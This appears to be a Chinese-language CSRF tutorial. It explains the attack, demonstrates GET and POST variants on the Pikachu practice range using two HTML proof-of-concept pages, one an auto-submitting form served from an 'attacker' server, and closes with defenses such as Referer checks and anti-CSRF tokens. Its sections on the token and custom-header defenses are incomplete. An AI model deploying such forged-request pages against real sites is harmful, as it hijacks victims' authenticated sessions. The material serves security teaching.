CSRF(跨站请求伪造)

CSRF

原理及过程

概述

关键点

pikachu靶场之CSRF

GET型

POST型

Token

防御

如何挖掘CSRF漏洞

使用burp验证csrf

总结

CSRF

(Cross-Site Request Forgery) CSRF是一种欺骗受害者提交恶意请求的攻击，攻击者盗用你的身份，向服务器发送请求

原理及过程

小明用浏览器访问受信任网站A，输入用户名及密码进行登录；
小明的用户信息验证通过后，网站A会返回一个cookie信息给浏览器。
小明没有退出浏览器前，用同一浏览器访问了假网站B
B站收到请求后返回攻击性代码，要求访问站A
浏览器携带用户的cookie信息，向网站A发出请求，此时网站A并不知道是请求其实是恶意网站B发出的，所以会根据小明的cookie信息以小明的身份进行处理，导致来自b站的恶意代码被执行

概述

跨站请求伪造（Cross-site request forgery，CSRF）是一种攻击，它强制终端用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作。CSRF攻击的着重点在伪造更改状态的请求，而不是盗取数据，因为攻击者无法查看对伪造请求的响应。

关键点

CSRF是一种欺骗受害者提交恶意请求的攻击。
它继承了受害者的身份和特权，代表受害者执行非本意、恶意的操作。
对于大多数站点，浏览器请求自动发送与站点关联的所有凭据，例如用户的会话cookie，IP地址，Windows域凭据等。
因此，如果用户当前已对该站点进行了身份验证，则该站点将无法区分受害者发送的伪造请求和受害者发送的合法请求。

pikachu靶场之CSRF

GET型

如下我们进行登录

点击修改个人信息，然后点击提交抓取数据包，观察数据包可知，该身份认证信息只有个cookie，且修改数据的请求参数都通过get进行发送。而这一动作是很容易进行伪造的

我们可以直接构造如下html，将其放在hacker的服务器（172.16.10.103）上。

<html><!-- CSRF PoC - generated by Burp Suite Professional --><body><script>history.pushState('', '', '/')</script><form action="http://192.168.110.128/2_Shotting_Range/pikachu-master/vul/csrf/csrfget/csrf_get_edit.php"><input type="hidden" name="sex" value="boy" /><input type="hidden" name="phonenum" value="18626545453" /><input type="hidden" name="add" value="chain" /><input type="hidden" name="email" value="vince&#64;pikachu&#46;com" /><input type="hidden" name="submit" value="submit" /><input type="submit" value="Submit request" /></form></body>
</html>

受害者在没有退出浏览器的情况下，点击了hacker的网站构造的链接并请求目标站点

因为用户在目标站点已经通过了身份验证，在用户没退出的情况下，只要用户继续请求该站点就会自动携带用户的cookie信息，只要有这cookie信息，就代表我是那个身份。所以当用户点击hacker构造的链接，该链接也是请求目标服务器，由于是用户自己点击的，这一操作也是在用户的浏览器完成的，所以也会自动携带用户的信息，所以服务器以为这个请求是来自于用户。携不携带cookie和请求来自哪个服务器没有关系。但是我们也可以看到referer指向hacker的服务器。

如下，信息成功被修改

当用户退出，或者在别的浏览器访问hacker构造的链接上，则不会携带cookie信息，也就无法更该信息。

所以说CSRF，它是一种欺骗用户在当前对其进行身份验证后的Web应用程序上执行非本意的操作。

POST型

同样我们点击submit抓取数据包，所有参数在请求体中提交，我们不能通过伪造URL的方式进行攻击。

于是，这里通过构造表单的方式进行攻击。在另一个服务器上新建post.html，内容如下

<html>
<head>
<script>
window.onload = function() {document.getElementById("postsubmit").click();
}
</script>
</head>
<body>
<form method="post" action="http://192.168.1.2/2_Shotting_Range/pikachu-master/vul/csrf/csrfpost/csrf_post_edit.php"><input id="sex" type="text" name="sex" value="谢辰辰" /><input id="phonenum" type="text" name="phonenum" value="12345678922" /><input id="add" type="text" name="add" value="i am form 江西省吉安市" /><input id="email" type="text" name="email" value="lucy@pikachu.com" /><input id="postsubmit" type="submit" name="submit" value="submit" />
</form>
</body>
</html>

如果用户点击这个链接post.html。即可攻击成功。

Token

SRF的主要问题是敏感操作容易被伪造，我们可以加入Token让请求不容易被伪造。每次请求，都增加一个随机码（随机生成，不容易被伪造），后台每次对这个随机码进行验证，我们进入Pikachu平台的CSRF（token）页面并登录，我们可以看一下这个GET请求

防御

1）验证 HTTP Referer 字段

简单理解：Refer记录了HTTP请求的来源地址，CSRF攻击，攻击者在他自己的网站构造请求，Refer值指向他自己的网站，服务器验证Refer值

如上面的实验中，referer中的值是指向的黑客自己搭建的网站。

根据 HTTP 协议，在 HTTP 头中有一个字段叫 Referer，它记录了该 HTTP 请求的来源地址。在通常情况下，访问一个安全受限的页面，请求需来自于同一个网站，比如需要访问 http://bank.example/withdraw?account=bob&amount=1000000&for=Mallory，用户必须先登陆 bank.example，然后通过点击页面上的按钮来触发转账事件。这时，该转帐请求的 Referer 值就会是转账按钮所在的页面的 URL，即为bank.example 域名开头的地址。而如果黑客要对银行网站实施 CSRF 攻击，他只能在他自己的网站构造请求，当用户通过黑客的网站发送请求到银行时，该请求的 Referer 是指向黑客自己的网站。因此，要防御 CSRF 攻击，银行网站只需要对于每一个转账请求验证其 Referer 值，如果是以 bank.example 开头的域名，则说明该请求是来自银行网站自己的请求，是合法的。如果 Referer 是其他网站的话，则有可能是黑客的 CSRF 攻击，拒绝该请求。但这一方法也不是万无一失的。

2）在请求地址中添加 token 并验证(Anti-CSRF token)

CSRF 攻击之所以能够成功，是因为黑客可以完全伪造用户的请求，该请求中所有的用户验证信息都是存在于 cookie 中，因此黑客可以在不知道这些验证信息的情况下直接利用用户自己的 cookie 来通过安全验证。要抵御 CSRF，关键在于在请求中放入黑客所不能伪造的信息，并且该信息不存在于 cookie 之中。可以在 HTTP 请求中以参数的形式加入一个随机产生的 token，并在服务器端建立一个拦截器来验证这个 token，如果请求中没有 token 或者 token 内容不正确，则认为可能是 CSRF 攻击而拒绝该请求。

这种方法要比检查 Referer 要安全一些，token 可以在用户登陆后产生并放于 session 之中，然后在每次请求时把 token 从 session 中拿出，与请求中的 token 进行比对，但这种方法的难点在于如何把 token 以参数的形式加入请求。对于 GET 请求，token 将附在请求地址之后，这样 URL 就变成 http://url?csrftoken=tokenvalue。而对于 POST 请求来说，要在 form 的最后加上，这样就把 token 以参数的形式加入请求了。但是，在一个网站中，可以接受请求的地方非常多，要对于每一个请求都加上 token 是很麻烦的，并且很容易漏掉，通常使用的方法就是在每次页面加载时，使用 javascript 遍历整个 dom 树，对于 dom 中所有的 a 和 form 标签后加入 token。这样可以解决大部分的请求，但是对于在页面加载之后动态生成的 html 代码，这种方法就没有作用，还需要程序员在编码时手动添加 token。

该方法还有一个缺点是难以保证 token 本身的安全。特别是在一些论坛之类支持用户自己发表内容的网站，黑客可以在上面发布自己个人网站的地址。由于系统也会在这个地址后面加上 token，黑客可以在自己的网站上得到这个 token，并马上就可以发动 CSRF 攻击。为了避免这一点，系统可以在添加 token 的时候增加一个判断，如果这个链接是链到自己本站的，就在后面添加 token，如果是通向外网则不加。不过，即使这个 csrftoken 不以参数的形式附加在请求之中，黑客的网站也同样可以通过 Referer 来得到这个 token 值以发动 CSRF 攻击。这也是一些用户喜欢手动关闭浏览器 Referer 功能的原因。

3）在 HTTP 头中自定义属性并验证

4) 二次验证

二次验证，就是在转账等关键操作之前提供当前用户的密码或者验证码。二次验证可以有效防御CSRF 攻击。